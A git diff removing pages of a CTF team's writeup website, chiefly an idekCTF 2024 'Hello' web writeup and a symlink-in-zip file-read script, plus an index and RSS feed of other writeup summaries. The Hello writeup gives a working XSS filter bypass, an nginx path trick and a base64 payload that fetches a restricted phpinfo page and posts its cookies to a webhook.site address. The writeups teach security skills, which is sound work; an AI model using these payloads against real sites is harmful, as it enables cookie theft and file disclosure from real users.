-      return a['href'].split('/')[-1]
-
-
-def upload_file(file_path):
-  with open(file_path, "rb") as f:
-    files = {"file": f}
-    response = requests.post(BASE_URL, files=files)
-    return get_uuid(response.text)
-
-
-def create_exploit(zip_filename:str,symlink_name:str,symlink_target:str):
-    os.symlink(symlink_target, symlink_name)
-    subprocess.run(['zip', '-y', zip_filename, symlink_name], check=True)
-    print(f'{zip_filename} created.')
-    os.remove(symlink_name)
-
-def get_flag(UUID):
-  response = requests.get(f'{BASE_URL}/files/{UUID}/evil_link',stream=True)
-  if response.status_code == 200:
-    with open("flag", 'wb') as f:
-      for chunk in response.iter_content(chunk_size=8192):
-        f.write(chunk)
-    print(f"Flag download successfully")
-  else:
-      print(f"Error during the download: {response.status_code}")
-
-  return open("flag", "r").read().strip()
-
-def clean():
-    os.remove('exploit.zip')
-    os.remove('flag')
-
-def main():
-  create_exploit(zip_filename='exploit.zip',symlink_name='evil_link',symlink_target='/home/user/flag.txt')
-  UUID = upload_file('./exploit.zip')
-  print(f'UUID: {UUID}')
-  flag = get_flag(UUID)
-  print(f"Flag: {flag}")
-  clean()
-
-if __name__ == "__main__":
-  main()
-
-# goodluck by @akiidjk
-
-
-

The solutions is very simple, A symlink is simply created pointing to /home/user/flag, it is then zipped and sent to the page, we save the file id and in the path uuid/name_file we send the file pointing to the symlink.

-
$ flag: CSCTF{5yml1nk5_4r3_w31rd}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/idekctf2024/hello/index.html b/public/writeups/idekctf2024/hello/index.html deleted file mode 100644 index c19db86a..00000000 --- a/public/writeups/idekctf2024/hello/index.html +++ /dev/null @@ -1,506 +0,0 @@ - - - - - - - - - - - Hello - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
php
- - -
XSS
- - -
133 points
- - -
165 solves
- - -
Abdelhameed Ghazy
- - -
- -
-

- Last edit: Aug 18, 2024 -

-
- - -
- - - -
- - - - - -

Hello

-

Description: Just to warm you up for the next Fight :“D

- -

Introduction - - - - - - - - -

- -

Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered}

-

The with an ngix server

-

Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies

- -

Source - - - - - - - - -

- -
# filename: index.py
-
-<?php
-
-
-function Enhanced_Trim($inp) {
-    $trimmed = array("\r", "\n", "\t", "/", " ");
-    return str_replace($trimmed, "", $inp);
-}
-
-
-if(isset($_GET['name']))
-{
-    $name=substr($_GET['name'],0,23);
-    echo "Hello, ".Enhanced_Trim($_GET['name']);
-}
-
-?>
-
-
-
# filename: info.py
-
-<?php
-phpinfo();
-?>
-
-
-
# filename: ngix.conf
-
-
-user www-data;
-worker_processes 1;
-
-events {
-worker_connections 1024;
-}
-
-http {
-include /etc/nginx/mime.types;
-default_type application/octet-stream;
-
-    sendfile        on;
-    keepalive_timeout  65;
-
-    server {
-        listen       80;
-        server_name  localhost;
-
-        location / {
-            root   /usr/share/nginx/html;
-            index  index.php index.html index.htm;
-        }
-
-        location = /info.php {
-        allow 127.0.0.1;
-        deny all;
-        }
-
-        location ~ \.php$ {
-        root           /usr/share/nginx/html;
-        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
-        include fastcgi_params;
-        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
-        }
-
-    }
-
-}
-
-

As you can see, there are 3 main files to focus on

-
    -
  1. The first is the index file where we see how the page works and the filters used, in particular the fact that we cannot use /, spaces, etc.
  2. -
  3. An info.php file which is definitely suspect and not normally needed but probably has a purpose in the challange
  4. -
  5. And the ngix configuration file, which is very important because it is the one that prevents us from accessing info.php in a simple way.
  6. -
- -

Solution - - - - - - - - -

- -

This challenge is very nice in my opinion, neither too difficult nor too complex, it mixes different vulnerabilities in a really nice way…

-

The first one is designed to catch the cookie, because in the configuration of bot.js we see that the cookie is set to httpOnly, which makes the extraction much more difficult, but looking a little online we understand why it is present, that info.php in fact the function phpinfo() as well as showing several parameters of the php configuration and other information also shows the cookies present at that time… SO THAT’S THE OBJECTIVE, to get your own bot to open /info.php.

-

But how can we do this?

-

The first step is to be able to inject a payload that opens info.php and sends the file somewhere.

-

The only entry point we see is ? name=', which is not sanitised in the best way, in fact by doing <h1>BTC (we make sure that the tag closes itself, otherwise the final / will be filtered out) we notice that the h1 is rendered and this is a first sign that we can do an xss, although we notice that the classic <script>alert('ByteTheCookies') doesn’t work, Probably some php configuration or some police, so the xss would be a bit more complex, but we can use the onerror parameter of tag img with some modifications, in fact, if we insert a classic <img src='invalid. jpg' onerror="alert('ByteTheCookies')", it will be sanitised by removing the spaces and will not allow the xss to run. But we can work around this very easily, in fact by looking for some workarounds on HackTricks and trying some of them, we find that the payload <img%0Csrc="invalid.jpg"onerror="alert('ByteTheCookies')" works.

-

GOOD we managed to bypass the xss now we have to create the payload we need…

-

Specifically, I used: fetch('{target}').then(r=>r.text()).then(t=>{fetch('{url_webhook}',{method:'POST',body:(f=new FormData(),f.append('file',new Blob([t],{type:'text/plain'}),'phpinfo.txt'),f)});console.log('Data sended');});

-

This payload makes an initial request and sends the content to a webhook in the form of a file, so it’s all very simple.

-

However, the problem is that when this payload is sent, it will not work because the URLs contain / which will be removed and this is a significant problem.

-

However, to get around this we can use a very simple trick, we just need to encode the payload in base64 beforehand and use an eval(atob(payload)).

-

By sending this in the URL, we can make the payload work without any problems. DONE, RIGHT?

-

No, because analysing the nginx configuration we notice an important detail

-
location = /info.php {
-        allow 127.0.0.1;
-        deny all;
-        }
-
-

As we can see, /info.php is only accessible from localhost, and spoiler, our bot is not on the same server as the challenge.

-

This may seem like a big obstacle, but in reality, if we search the web for ngix workarounds, we can find something very interesting.

-

As we can see on Hacktricks, if we insert an accessible page immediately after a non-accessible page in the ngix URL, it will redirect us correctly to the non-accessible page, which is exactly what we need.

-

So the final solution becomes:

-
# filename: exploit.py
-
-import base64
-
-url = "http://idek-hello.chal.idek.team:1337/"
-url_webhook = 'https://webhook.site/8b10c871-1e0b-4050-8
-2e3-e102a73da54e'
-url_admin = 'https://admin-bot.idek.team/idek-hello'
-
-def main():
-
-    # Bypass hacktrics https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#php-fpm
-    target = "http://idek-hello.chal.idek.team:1337/info.php/index.php"
-
-    exploit = ("fetch('" + target + "').then(r=>r.text()).then(t=>{fetch('"+url_webhook+"',{method:'POST',body:(f=new FormData(),f.append('file',new Blob([t],{type:'text/plain'}),'phpinfo.txt'),f)});console.log('Dati inviati al webhook');});").encode()
-
-    main_payload = base64.b64encode(exploit).decode()
-
-    payload = """<img%0Csrc="invalid.jpg"onerror="eval(atob('""" + main_payload + """'));">""" # Bypassed with %0C
-
-    final_url_whith_exploit = f"{url}?name={payload}"
-
-    print(f"Final url: {final_url_whith_exploit}") # Send the url on the admin bot and download the file on webhook.site
-
-    print(f"Now copy and paste the url on the admin bot: {url_admin} and send the requeste to the admin bot, after this go to the webhook.site and download the file and search the flag in the file")
-
-if __name__ == '__main__':
-  main()
-
-
-
$ flag: idek{Ghazy_N3gm_Elbalad}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/idekctf2024/index.html b/public/writeups/idekctf2024/index.html deleted file mode 100644 index 60720ade..00000000 --- a/public/writeups/idekctf2024/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - - IdekCTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Idek
- - -
Web
- - -
Crypto
- - -
Misc
- - -
Reverse
- - -
Pwn
- - -
- -
-

- Last edit: Aug 18, 2024 -

-
- - -
- - - -
- - - - - - -

IdekCTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 6/35
  • -
  • Total points: 732
  • -
  • Position: 101/1070
  • -
  • Rating points: 5.405
  • -
- -

Writeups - - - - - - - - -

- - -

Web - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/index.html b/public/writeups/index.html deleted file mode 100644 index c3041c37..00000000 --- a/public/writeups/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- Solidity Jail 1 -
-
- Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. -
- -
-
- - -
-
- Word Wide Flag CTF 2025 -
-
- World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 -
- -
-
- - -
-
- L3akCTF 2025 -
-
- L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface -
- -
-
- - -
-
- Simple Chat -
-
- Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. -
- -
-
- - -
-
- aeronaut -
-
- Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/index.xml b/public/writeups/index.xml deleted file mode 100644 index cb252dc7..00000000 --- a/public/writeups/index.xml +++ /dev/null @@ -1,596 +0,0 @@ - - - - Writeup on ByteTheCookies - http://localhost:1313/writeups/ - Recent content in Writeup on ByteTheCookies - Hugo -- gohugo.io - en - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, &quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. - - - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - Confusion - http://localhost:1313/writeups/srdnlen2025/confusion/ - Wed, 12 Mar 2025 22:04:00 +0100 - - http://localhost:1313/writeups/srdnlen2025/confusion/ - Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? -Introduction Confusion was a crypto CTF from Srdnlen CTF 2025. -#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os. - - - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 